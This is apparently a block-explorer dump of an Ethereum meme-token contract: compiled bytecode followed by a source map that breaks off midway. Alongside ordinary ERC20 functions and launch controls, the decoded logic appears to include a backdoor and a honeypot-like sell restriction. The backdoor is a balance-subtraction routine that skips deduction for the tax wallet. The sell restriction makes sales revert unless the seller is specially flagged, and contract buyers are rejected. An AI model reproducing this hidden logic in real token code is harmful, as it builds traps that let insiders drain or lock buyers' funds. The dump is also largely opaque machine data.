d5ffd5b505050506040513d601f19601f8201168201806040525081019061068e9190611729565b601380546001600160a01b039283166001600160a01b031990911617905560125461010090041663f305d71947306106da816001600160a01b03165f908152600d602052604090205490565b5f806106ed5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610753573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107789190611744565b505060135460125460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f6919061176f565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108395760405162461bcd60e51b815260040161047790611708565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103bc338484610a6b565b5f546001600160a01b031633146108b65760405162461bcd60e51b815260040161047790611708565b6108c26009600a6116e3565b6108d090633b9aca006116f1565b6001556108df6009600a6116e3565b6108ed90633b9aca006116f1565b6002556012805460ff191690557f316014258e2ffd22305a10ad74df027fe7c11fc6473305d70d9d3c0e8db3db106109276009600a6116e3565b61093590633b9aca006116f1565b60405190815260200160405180910390a1565b6001600160a01b0383166109aa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610477565b6001600160a01b038216610a0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610477565b6001600160a01b038381165f818152600e602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ad45760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610477565b6001600160a01b038216610b365760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610477565b5f8111610b9d5760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610477565b5f80546001600160a01b03858116911614801590610bc857505f546001600160a01b03848116911614155b15610f9e5760125460ff1615610c90576012546001600160a01b038481166101009092041614801590610c0957506013546001600160a01b03848116911614155b15610c9057325f908152601160205260409020544311610c7e5760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610477565b325f9081526011602052604090204390555b6013546001600160a01b038581169116148015610cc057506012546001600160a01b038481166101009092041614155b8015610ce457506001600160a01b0383165f908152600f602052604090205460ff16155b15610ddb57600154821115610d0b5760405162461bcd60e51b81526004016104779061178e565b60025482610d2d856001600160a01b03165f908152600d602052604090205490565b610d3791906117ae565b1115610d555760405162461bcd60e51b81526004016104779061178e565b600b54600c541015610d7357610d6a83611115565b15610d73575f80fd5b600c8054905f610d82836117c1565b90915550506001600160a01b0383165f908152601060205260409020805460ff19166001179055600954600c54610dd891606491610dd29110610dc757600554610dcb565b6007545b859061116e565b906111cd565b90505b6013546001600160a01b038481169116148015610e0157506001600160a01b0384163014155b8015610e2557506001600160a01b0384165f908152600f602052604090205460ff16155b15610ecb576001548211158015610e5657506004546014546001600160a01b03165f908152600d6020526040902054105b610e725760405162461bcd60e51b81526004016104779061178e565b610e976064610dd2600a54600c5411610e8d57600654610dcb565b600854859061116e565b9050600b54600c54118015610ec357506001600160a01b0384165f9081526010602052604090205460ff165b610ecb575f80fd5b305f908152600d6020526040902054601354600160a81b900460ff16158015610f0157506013546001600160a01b038581169116145b8015610f165750601354600160b01b900460ff165b8015610f23575060035481115b8015610f325750600b54600c54115b8015610f5657506001600160a01b0384165f908152600f602052604090205460ff16155b8015610f7a57506001600160a01b0385165f908152600f602052604090205460ff16155b15610f9c57610f9c610f9784610f92846004546111f9565b6111f9565b61120e565b505b801561101657305f908152600d6020526040902054610fbd90826113ba565b305f818152600d6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061100d9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600d602052604090205461103a90859084611403565b6001600160a01b0385165f908152600d602052604090205561107d61105f838361147b565b6001600160a01b0385165f908152600d6020526040902054906113ba565b6001600160a01b038085165f818152600d602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110c6858561147b565b60405190815260200160405180910390a350505050565b5f81848411156111005760405162461bcd60e51b815260040161047791906114d3565b505f61110c84866117d9565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f8151811061114d5761114d6117ec565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361117d57505f6103c0565b5f61118883856116f1565b9050826111958583611800565b146104475760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610477565b5f6104478383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506114a7565b5f818310156112085782610447565b50919050565b6013805460ff60a81b1916600160a81b17905580156113aa57601354600160a01b900460ff16156113aa576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061126c5761126c6117ec565b60200260200101906001600160a01b031690816001600160a01b031681525050601260019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112dd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113019190611729565b81600181518110611314576113146117ec565b6001600160a01b03928316602091820292909201015260125461133f91309161010090041684610948565b60125460405163791ac94760e01b81526101009091046001600160a01b03169063791ac9479061137b9085905f9086903090429060040161181f565b5f604051808303815f87803b158015611392575f80fd5b505af11580156113a4573d5f803e3d5ffd5b50505050505b506013805460ff60a81b19169055565b5f806113c683856117ae565b9050838110156104475760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610477565b6014545f906001600160a01b0390811690851603611422575081610447565b8183101561146a5760405162461bcd60e51b81526020600482015260156024820152745375627472616374696f6e20756e646572666c6f7760581b6044820152606401610477565b61147482846117d9565b9050610447565b5f6104478383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110dd565b5f81836114c75760405162461bcd60e51b815260040161047791906114d3565b505f61110c8486611800565b5f6020808352835180828501525f5b818110156114fe578581018301518582016040015282016114e2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611532575f80fd5b50565b5f8060408385031215611546575f80fd5b82356115518161151e565b946020939093013593505050565b5f805f60608486031215611571575f80fd5b833561157c8161151e565b9250602084013561158c8161151e565b929592945050506040919091013590565b5f602082840312156115ad575f80fd5b81356104478161151e565b5f80604083850312156115c9575f80fd5b82356115d48161151e565b915060208301356115e48161151e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561163d57815f1904821115611623576116236115ef565b8085161561163057918102915b93841c9390800290611608565b509250929050565b5f82611653575060016103c0565b8161165f57505f6103c0565b8160018114611675576002811461167f5761169b565b60019150506103c0565b60ff841115611690576116906115ef565b50506001821b6103c0565b5060208310610133831016604e8410600b84101617156116be575081810a6103c0565b6116c88383611603565b805f19048211156116db576116db6115ef565b029392505050565b5f61044760ff841683611645565b80820281158282048414176103c0576103c06115ef565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f60208284031215611739575f80fd5b81516104478161151e565b5f805f60608486031215611756575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561177f575f80fd5b81518015158114610447575f80fd5b602080825260069082015265119bdc989a5960d21b604082015260600190565b808201808211156103c0576103c06115ef565b5f600182016117d2576117d26115ef565b5060010190565b818103818111156103c0576103c06115ef565b634e487b7160e01b5f52603260045260245ffd5b5f8261181a57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561186d5784516001600160a01b031683529383019391830191600101611848565b50506001600160a01b0396909616606085015250505060800152939250505056fe4861727279506f747465724f62616d4d6174744675726965314d656d655065706545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d40877bbf832813807e88c5edbdeb5f9dec62dde16286db2e7d35e373bbfc72d64736f6c63430008140033

Deployed Bytecode Sourcemap

3490:8360:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4927:74;;;;;;;;;;-1:-1:-1;4927:74:0;;;;-1:-1:-1;;;;;4927:74:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;4927:74:0;;;;;;;;5449:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6289:161::-;;;;;;;;;;-1:-1:-1;6289:161:0;;;;;:::i;:::-;;:::i;:::-;;;1396:14:1;;1389:22;1371:41;;1359:2;1344:18;6289:161:0;1231:187:1;5726:100:0;;;;;;;;;;;;;:::i;:::-;;;1569:25:1;;;1557:2;1542:18;5726:100:0;1423:177:1;6458:316:0;;;;;;;;;;-1:-1:-1;6458:316:0;;;;;:::i;:::-;;:::i;11125:676::-;;;;;;;;;;;;;:::i;:::-;;5635:83;;;;;;;;;;-1:-1:-1;5635:83:0;;3773:1;2208:36:1;;2196:2;2181:18;5635:83:0;2066:184:1;4675:37:0;;;;;;;;;;-1:-1:-1;4675:37:0;;;;;;;;3858:41;;;;;;;;;;;;;;;;5834:119;;;;;;;;;;-1:-1:-1;5834:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5927:18:0;5900:7;5927:18;;;:9;:18;;;;;;;5834:119;2663:148;;;;;;;;;;;;;:::i;3906:46::-;;;;;;;;;;;;;;;;2474:79;;;;;;;;;;-1:-1:-1;2512:7:0;2539:6;-1:-1:-1;;;;;2539:6:0;2474:79;;5540:87;;;;;;;;;;-1:-1:-1;5612:7:0;;;;;;;;;;;;-1:-1:-1;;;5612:7:0;;;;5540:87;;5961:167;;;;;;;;;;-1:-1:-1;5961:167:0;;;;;:::i;:::-;;:::i;3959:47::-;;;;;;;;;;;;;;;;10620:217;;;;;;;;;;;;;:::i;6136:145::-;;;;;;;;;;-1:-1:-1;6136:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6245:19:0;;;6218:7;6245:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6136:145;4013:41;;;;;;;;;;;;;;;;5449:83;5486:13;5519:5;;;;;;;;;;;;;;;;;5512:12;;5449:83;:::o;6289:161::-;6364:4;6381:39;2121:10;6404:7;6413:6;6381:8;:39::i;:::-;-1:-1:-1;6438:4:0;6289:161;;;;;:::o;5726:100::-;5779:7;3837:13;3773:1;3837:2;:13;:::i;:::-;3823:28;;:10;:28;:::i;:::-;5799:19;;5726:100;:::o;6458:316::-;6556:4;6573:36;6583:6;6591:9;6602:6;6573:9;:36::i;:::-;6620:124;6629:6;2121:10;6651:92;6692:6;6651:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6651:19:0;;;;;;:11;:19;;;;;;;;2121:10;6651:33;;;;;;;;;;:40;:92::i;:::-;6620:8;:124::i;:::-;-1:-1:-1;6762:4:0;6458:316;;;;;;:::o;11125:676::-;2601:6;;-1:-1:-1;;;;;2601:6:0;2121:10;2601:22;2593:42;;;;-1:-1:-1;;;2593:42:0;;;;;;;:::i;:::-;;;;;;;;;11191:14:::1;::::0;-1:-1:-1;;;11191:14:0;::::1;;;11190:15;11181:47;;;::::0;-1:-1:-1;;;11181:47:0;;5125:2:1;11181:47:0::1;::::0;::::1;5107:21:1::0;5164:2;5144:18;;;5137:30;-1:-1:-1;;;5183:18:1;;;5176:47;5240:18;;11181:47:0::1;4923:341:1::0;11181:47:0::1;11240:12;:78:::0;;-1:-1:-1;;;;;;11240:78:0::1;::::0;::::1;::::0;;;;11329:61:::1;::::0;11348:4:::1;::::0;-1:-1:-1;;;;;11240:78:0::1;11362:12:::0;;::::1;;3837:13;3773:1;3837:2;:13;:::i;:::-;3823:28;::::0;:10:::1;:28;:::i;11329:61::-;11430:12;;;;;;;;;-1:-1:-1::0;;;;;11430:12:0::1;-1:-1:-1::0;;;;;11430:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11412:52:0::1;;11474:4;11481:12;;;;;;;;;-1:-1:-1::0;;;;;11481:12:0::1;-1:-1:-1::0;;;;;11481:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11412:90;::::0;-1:-1:-1;;;;;;11412:90:0::1;::::0;;;;;;-1:-1:-1;;;;;5755:15:1;;;11412:90:0::1;::::0;::::1;5737:34:1::0;5807:15;;5787:18;;;5780:43;5672:18;;11412:90:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11401:8;:101:::0;;-1:-1:-1;;;;;11401:101:0;;::::1;-1:-1:-1::0;;;;;;11401:101:0;;::::1;;::::0;;11513:12:::1;::::0;11401:101:::1;11513:12:::0;::::1;;:28;11549:21;11582:4;11588:25;11582:4:::0;-1:-1:-1;;;;;5927:18:0;5900:7;5927:18;;;:9;:18;;;;;;;5834:119;11588:25:::1;11614:1;11616::::0;11618:7:::1;2512::::0;2539:6;-1:-1:-1;;;;;2539:6:0;;2474:79;11618:7:::1;11513:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11513:129:0;;;-1:-1:-1;;;;;6193:15:1;;;11513:129:0::1;::::0;::::1;6175:34:1::0;6225:18;;;6218:34;;;;6268:18;;;6261:34;;;;6311:18;;;6304:34;6375:15;;;6354:19;;;6347:44;11626:15:0::1;6407:19:1::0;;;6400:35;6109:19;;11513:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11661:8:0::1;::::0;11688:12:::1;::::0;11653:66:::1;::::0;-1:-1:-1;;;11653:66:0;;-1:-1:-1;;;;;11661:8:0::1;11688:12:::0;;::::1;::::0;::::1;11653:66;::::0;::::1;6931:51:1::0;-1:-1:-1;;6998:18:1;;;6991:34;11661:8:0;::::1;::::0;-1:-1:-1;11653:25:0::1;::::0;6904:18:1;;11653:66:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11730:22:0::1;:29:::0;;-1:-1:-1;;;;11771:21:0;-1:-1:-1;;;11771:21:0;;;11125:676::o;2663:148::-;2601:6;;-1:-1:-1;;;;;2601:6:0;2121:10;2601:22;2593:42;;;;-1:-1:-1;;;2593:42:0;;;;;;;:::i;:::-;2770:1:::1;2754:6:::0;;2733:40:::1;::::0;-1:-1:-1;;;;;2754:6:0;;::::1;::::0;2733:40:::1;::::0;2770:1;;2733:40:::1;2801:1;2784:19:::0;;-1:-1:-1;;;;;;2784:19:0::1;::::0;;2663:148::o;5961:167::-;6039:4;6056:42;2121:10;6080:9;6091:6;6056:9;:42::i;10620:217::-;2601:6;;-1:-1:-1;;;;;2601:6:0;2121:10;2601:22;2593:42;;;;-1:-1:-1;;;2593:42:0;;;;;;;:::i;:::-;3837:13:::1;3773:1;3837:2;:13;:::i;:::-;3823:28;::::0;:10:::1;:28;:::i;:::-;10674:11;:28:::0;3837:13:::1;3773:1;3837:2;:13;:::i;:::-;3823:28;::::0;:10:::1;:28;:::i;:::-;10714:16;:31:::0;10757:16:::1;:24:::0;;-1:-1:-1;;10757:24:0::1;::::0;;10799:29:::1;3837:13;3773:1;3837:2;:13;:::i;:::-;3823:28;::::0;:10:::1;:28;:::i;:::-;10799:29;::::0;1569:25:1;;;1557:2;1542:18;10799:29:0::1;;;;;;;10620:217::o:0;6782:337::-;-1:-1:-1;;;;;6876:19:0;;6868:68;;;;-1:-1:-1;;;6868:68:0;;7520:2:1;6868:68:0;;;7502:21:1;7559:2;7539:18;;;7532:30;7598:34;7578:18;;;7571:62;-1:-1:-1;;;7649:18:1;;;7642:34;7693:19;;6868:68:0;7318:400:1;6868:68:0;-1:-1:-1;;;;;6955:20:0;;6947:67;;;;-1:-1:-1;;;6947:67:0;;7925:2:1;6947:67:0;;;7907:21:1;7964:2;7944:18;;;7937:30;8003:34;7983:18;;;7976:62;-1:-1:-1;;;8054:18:1;;;8047:32;8096:19;;6947:67:0;7723:398:1;6947:67:0;-1:-1:-1;;;;;7025:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;7078:33;;1569:25:1;;;7078:33:0;;1542:18:1;7078:33:0;;;;;;;6782:337;;;:::o;7127:2604::-;-1:-1:-1;;;;;7216:17:0;;7207:73;;;;-1:-1:-1;;;7207:73:0;;8328:2:1;7207:73:0;;;8310:21:1;8367:2;8347:18;;;8340:30;8406:34;8386:18;;;8379:62;-1:-1:-1;;;8457:18:1;;;8450:40;8507:19;;7207:73:0;8126:406:1;7207:73:0;-1:-1:-1;;;;;7300:15:0;;7291:65;;;;-1:-1:-1;;;7291:65:0;;8739:2:1;7291:65:0;;;8721:21:1;8778:2;8758:18;;;8751:30;8817:34;8797:18;;;8790:62;-1:-1:-1;;;8868:18:1;;;8861:34;8912:19;;7291:65:0;8537:400:1;7291:65:0;7385:1;7376:6;:10;7367:71;;;;-1:-1:-1;;;7367:71:0;;9144:2:1;7367:71:0;;;9126:21:1;9183:2;9163:18;;;9156:30;9222:34;9202:18;;;9195:62;-1:-1:-1;;;9273:18:1;;;9266:45;9328:19;;7367:71:0;8942:411:1;7367:71:0;7449:18;2539:6;;-1:-1:-1;;;;;7488:15:0;;;2539:6;;7488:15;;;;:30;;-1:-1:-1;2512:7:0;2539:6;-1:-1:-1;;;;;7506:12:0;;;2539:6;;7506:12;;7488:30;7482:1857;;;7542:16;;;;7537:323;;;7597:12;;-1:-1:-1;;;;;7584:26:0;;;7597:12;;;;;7584:26;;;;:51;;-1:-1:-1;7626:8:0;;-1:-1:-1;;;;;7613:22:0;;;7626:8;;7613:22;;7584:51;7579:266;;;7687:9;7667:30;;;;:19;:30;;;;;;7700:12;-1:-1:-1;7658:101:0;;;;-1:-1:-1;;;7658:101:0;;9560:2:1;7658:101:0;;;9542:21:1;9599:2;9579:18;;;9572:30;9638:34;9618:18;;;9611:62;-1:-1:-1;;;9689:18:1;;;9682:40;9739:19;;7658:101:0;9358:406:1;7658:101:0;7800:9;7780:30;;;;:19;:30;;;;;7813:12;7780:45;;7579:266;7890:8;;-1:-1:-1;;;;;7882:16:0;;;7890:8;;7882:16;:47;;;;-1:-1:-1;7916:12:0;;-1:-1:-1;;;;;7902:27:0;;;7916:12;;;;;7902:27;;7882:47;:70;;;;-1:-1:-1;;;;;;7933:19:0;;;;;;:15;:19;;;;;;;;7932:20;7882:70;7876:512;;;7992:11;;7982:6;:21;;7973:41;;;;-1:-1:-1;;;7973:41:0;;;;;;;:::i;:::-;8069:16;;8059:6;8042:14;8053:2;-1:-1:-1;;;;;5927:18:0;5900:7;5927:18;;;:9;:18;;;;;;;5834:119;8042:14;:23;;;;:::i;:::-;:43;;8033:62;;;;-1:-1:-1;;;8033:62:0;;;;;;;:::i;:::-;8130:11;;8119:8;;:22;8114:94;;;8174:13;8184:2;8174:9;:13::i;:::-;8173:14;8164:24;;;;;;8226:8;:11;;;:8;:11;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8240:17:0;;;;;;:13;:17;;;;;:24;;-1:-1:-1;;8240:24:0;8260:4;8240:24;;;8318:15;;8307:8;;8295:77;;8368:3;;8295:68;;-1:-1:-1;8306:56:0;;8348:14;;8306:56;;;8335:12;;8306:56;8295:6;;:10;:68::i;:::-;:72;;:77::i;:::-;8283:89;;7876:512;8413:8;;-1:-1:-1;;;;;8407:14:0;;;8413:8;;8407:14;:37;;;;-1:-1:-1;;;;;;8423:21:0;;8439:4;8423:21;;8407:37;:63;;;;-1:-1:-1;;;;;;8449:21:0;;;;;;:15;:21;;;;;;;;8447:23;8407:63;8404:371;;;8510:11;;8500:6;:21;;:62;;;;-1:-1:-1;8551:11:0;;8535:13;;-1:-1:-1;;;;;8535:13:0;5900:7;5927:18;;;:9;:18;;;;;;8525:37;8500:62;8491:82;;;;-1:-1:-1;;;8491:82:0;;;;;;;:::i;:::-;8604;8682:3;8604:73;8627:17;;8616:8;;:28;8615:61;;8661:15;;8615:61;;;8647:13;;8604:6;;:10;:73::i;:82::-;8592:94;;8724:11;;8714:8;;:21;:44;;;;-1:-1:-1;;;;;;8739:19:0;;;;;;:13;:19;;;;;;;;8714:44;8705:54;;;;;;8840:4;8791:28;5927:18;;;:9;:18;;;;;;8866:10;;-1:-1:-1;;;8866:10:0;;;;8865:11;:44;;;;-1:-1:-1;8901:8:0;;-1:-1:-1;;;;;8895:14:0;;;8901:8;;8895:14;8865:44;:68;;;;-1:-1:-1;8911:22:0;;-1:-1:-1;;;8911:22:0;;;;8865:68;:111;;;;;8959:17;;8936:20;:40;8865:111;:152;;;;;9006:11;;8995:8;;:22;8865:152;:177;;;;-1:-1:-1;;;;;;9022:20:0;;;;;;:15;:20;;;;;;;;9020:22;8865:177;:204;;;;-1:-1:-1;;;;;;9047:22:0;;;;;;:15;:22;;;;;;;;9045:24;8865:204;8861:467;;;9105:69;9119:54;9125:6;9132:40;9138:20;9160:11;;9132:5;:40::i;:::-;9119:5;:54::i;:::-;9105:13;:69::i;:::-;7520:1819;7482:1857;9356:13;;9351:174;;9431:4;9412:25;;;;:9;:25;;;;;;:40;;9442:9;9412:29;:40::i;:::-;9403:4;9385:24;;;;:9;:24;;;;;;;:67;;;;9471:42;;-1:-1:-1;;;;;9471:42:0;;;;;;;9503:9;1569:25:1;;1557:2;1542:18;;1423:177;9471:42:0;;;;;;;;9351:174;-1:-1:-1;;;;;9566:16:0;;;;;;:9;:16;;;;;;9553:38;;9559:4;;9584:6;9553:5;:38::i;:::-;-1:-1:-1;;;;;9535:15:0;;;;;;:9;:15;;;;;:56;9618:43;9636:24;:6;9650:9;9636:12;:24::i;:::-;-1:-1:-1;;;;;9618:13:0;;;;;;:9;:13;;;;;;;:17;:43::i;:::-;-1:-1:-1;;;;;9602:13:0;;;;;;;:9;:13;;;;;:59;;;;9678:45;;;9698:24;:6;9712:9;9698:13;:24::i;:::-;9678:45;;1569:25:1;;;1557:2;1542:18;9678:45:0;;;;;;;7196:2535;7127:2604;;;:::o;1250:193::-;1339:7;1375:12;1367:6;;;;1359:29;;;;-1:-1:-1;;;1359:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1399:9:0;1411:5;1415:1;1411;:5;:::i;:::-;1399:17;1250:193;-1:-1:-1;;;;;1250:193:0:o;10844:271::-;10967:16;;;10981:1;10967:16;;;;;;;;;10902:4;;;;;;10967:16;;;;;;;;;;;-1:-1:-1;10967:16:0;10938:45;;11005:7;10990:9;11000:1;10990:12;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10990:22:0;;;:12;;;;;;;;;;;:22;-1:-1:-1;;;11053:20:0;11095:12;;;10844:271::o;1451:221::-;1509:7;1533:1;1538;1533:6;1529:47;;-1:-1:-1;1563:1:0;1556:8;;1529:47;1586:9;1598:5;1602:1;1598;:5;:::i;:::-;1586:17;-1:-1:-1;1631:1:0;1622:5;1626:1;1586:17;1622:5;:::i;:::-;:10;1614:31;;;;-1:-1:-1;;;1614:31:0;;11194:2:1;1614:31:0;;;11176:21:1;11233:1;11213:18;;;11206:29;-1:-1:-1;;;11251:18:1;;;11244:38;11299:18;;1614:31:0;10992:331:1;1680:114:0;1738:7;1765:21;1769:1;1772;1765:21;;;;;;;;;;;;;-1:-1:-1;;;1765:21:0;;;:3;:21::i;10260:106::-;10319:7;10348:1;10343;:6;;10342:16;;10357:1;10342:16;;;-1:-1:-1;10353:1:0;10260:106;-1:-1:-1;10260:106:0:o;9739:509::-;5088:10;:17;;-1:-1:-1;;;;5088:17:0;-1:-1:-1;;;5088:17:0;;;9821:34;;9847:7:::1;9821:34;9869:14;::::0;-1:-1:-1;;;9869:14:0;::::1;;;9865:28:::0;9885:7:::1;9865:28;9928:19;::::0;;9945:1:::1;9928:19:::0;;;;;::::1;::::0;;9903:21:::1;::::0;9928:19:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9928:19:0::1;9903:44;;9977:4;9958;9963:1;9958:7;;;;;;;;:::i;:::-;;;;;;:24;-1:-1:-1::0;;;;;9958:24:0::1;;;-1:-1:-1::0;;;;;9958:24:0::1;;;::::0;::::1;10003:12;;;;;;;;;-1:-1:-1::0;;;;;10003:12:0::1;-1:-1:-1::0;;;;;10003:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9993:4;9998:1;9993:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9993:29:0;;::::1;:7;::::0;;::::1;::::0;;;;;:29;10067:12:::1;::::0;10033:68:::1;::::0;10051:4:::1;::::0;10067:12:::1;::::0;::::1;;10082:18:::0;10033:8:::1;:68::i;:::-;10112:12;::::0;:128:::1;::::0;-1:-1:-1;;;10112:128:0;;:12:::1;::::0;;::::1;-1:-1:-1::0;;;;;10112:12:0::1;::::0;:63:::1;::::0;:128:::1;::::0;10177:18;;10197:1:::1;::::0;10200:4;;10214::::1;::::0;10221:17:::1;::::0;10112:128:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9810:438;5116:1;-1:-1:-1::0;5128:10:0;:18;;-1:-1:-1;;;;5128:18:0;;;9739:509::o;954:160::-;1012:7;;1044:5;1048:1;1044;:5;:::i;:::-;1032:17;;1073:1;1068;:6;;1060:27;;;;-1:-1:-1;;;1060:27:0;;11194:2:1;1060:27:0;;;11176:21:1;11233:1;11213:18;;;11206:29;-1:-1:-1;;;11251:18:1;;;11244:38;11299:18;;1060:27:0;10992:331:1;10374:238:0;10475:13;;10447:7;;-1:-1:-1;;;;;10475:13:0;;;10467:21;;;;10463:142;;-1:-1:-1;10508:1:0;10501:8;;10463:142;10547:1;10542;:6;;10534:40;;;;-1:-1:-1;;;10534:40:0;;12515:2:1;10534:40:0;;;12497:21:1;12554:2;12534:18;;;12527:30;-1:-1:-1;;;12573:18:1;;;12566:51;12634:18;;10534:40:0;12313:345:1;10534:40:0;10592:5;10596:1;10592;:5;:::i;:::-;10585:12;;;;1122:120;1183:7;1211:23;1217:1;1220;1211:23;;;;;;;;;;;;;-1:-1:-1;;;1211:23:0;;;:5;:23::i;1802:189::-;1888:7;1923:12;1916:5;1908:28;;;;-1:-1:-1;;;1908:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1947:9:0;1959:5;1963:1;1959;:5;:::i;222:548:1:-;334:4;363:2;392;381:9;374:21;424:6;418:13;467:6;462:2;451:9;447:18;440:34;492:1;502:140;516:6;513:1;510:13;502:140;;;611:14;;;607:23;;601:30;577:17;;;596:2;573:26;566:66;531:10;;502:140;;;506:3;691:1;686:2;677:6;666:9;662:22;658:31;651:42;761:2;754;750:7;745:2;737:6;733:15;729:29;718:9;714:45;710:54;702:62;;;;222:548;;;;:::o;775:131::-;-1:-1:-1;;;;;850:31:1;;840:42;;830:70;;896:1;893;886:12;830:70;775:131;:::o;911:315::-;979:6;987;1040:2;1028:9;1019:7;1015:23;1011:32;1008:52;;;1056:1;1053;1046:12;1008:52;1095:9;1082:23;1114:31;1139:5;1114:31;:::i;:::-;1164:5;1216:2;1201:18;;;;1188:32;;-1:-1:-1;;;911:315:1:o;1605:456::-;1682:6;1690;1698;1751:2;1739:9;1730:7;1726:23;1722:32;1719:52;;;1767:1;1764;1757:12;1719:52;1806:9;1793:23;1825:31;1850:5;1825:31;:::i;:::-;1875:5;-1:-1:-1;1932:2:1;1917:18;;1904:32;1945:33;1904:32;1945:33;:::i;:::-;1605:456;;1997:7;;-1:-1:-1;;;2051:2:1;2036:18;;;;2023:32;;1605:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4